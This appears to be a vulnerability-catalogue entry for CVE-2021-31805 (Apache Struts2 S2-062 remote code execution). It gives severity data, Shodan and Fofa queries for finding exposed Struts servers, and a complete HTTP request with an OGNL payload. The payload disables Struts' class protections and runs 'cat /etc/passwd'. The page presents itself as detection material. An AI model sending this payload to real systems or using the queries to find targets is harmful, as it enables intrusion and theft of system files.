🔙 목록으로 돌아가기

CVE-2021-31805: Apache Struts2 S2-062 - Remote Code Execution

TitleApache Struts2 S2-062 - Remote Code Execution
Authortaielab
SeverityCritical
ImpactRemote code execution
RemediationAvoid using forced OGNL evaluation on untrusted user input, and/or upgrade to Struts 2.5.30 or greater which checks if expression evaluation won't lead to the double evaluation.
CVSS Score9.8
EPSS Score0.93956
CVE IDCVE-2021-31805
CWE IDCWE-917
Shodan Queryhttp.html:"apache struts"http.title:"struts2 showcase"http.html:"struts problem report"
Fofa Querybody="struts problem report"title="struts2 showcase"body="apache struts"
Tags cve2021 cve apache rce struts struts2 intrusive vkev vuln

🔍 Vulnerability Description

Apache Struts2 S2-062 is vulnerable to remote code execution. The fix issued for CVE-2020-17530 (S2-061) was incomplete, meaning some of the tag’s attributes could still perform a double evaluation if a developer applied forced OGNL evaluation by using the %{…} syntax.

🌐 HTTP Request

POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.14
Connection: close
Content-Length: 1113
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Accept-Encoding: gzip

------WebKitFormBoundaryl7d1B1aGsV2wcZwF

Content-Disposition: form-data; name="id"



%{

(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +

(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +

(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +

(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +

(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +

(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +

(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +

(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +

(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))

}



------WebKitFormBoundaryl7d1B1aGsV2wcZwF—

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-31805.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-31805.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A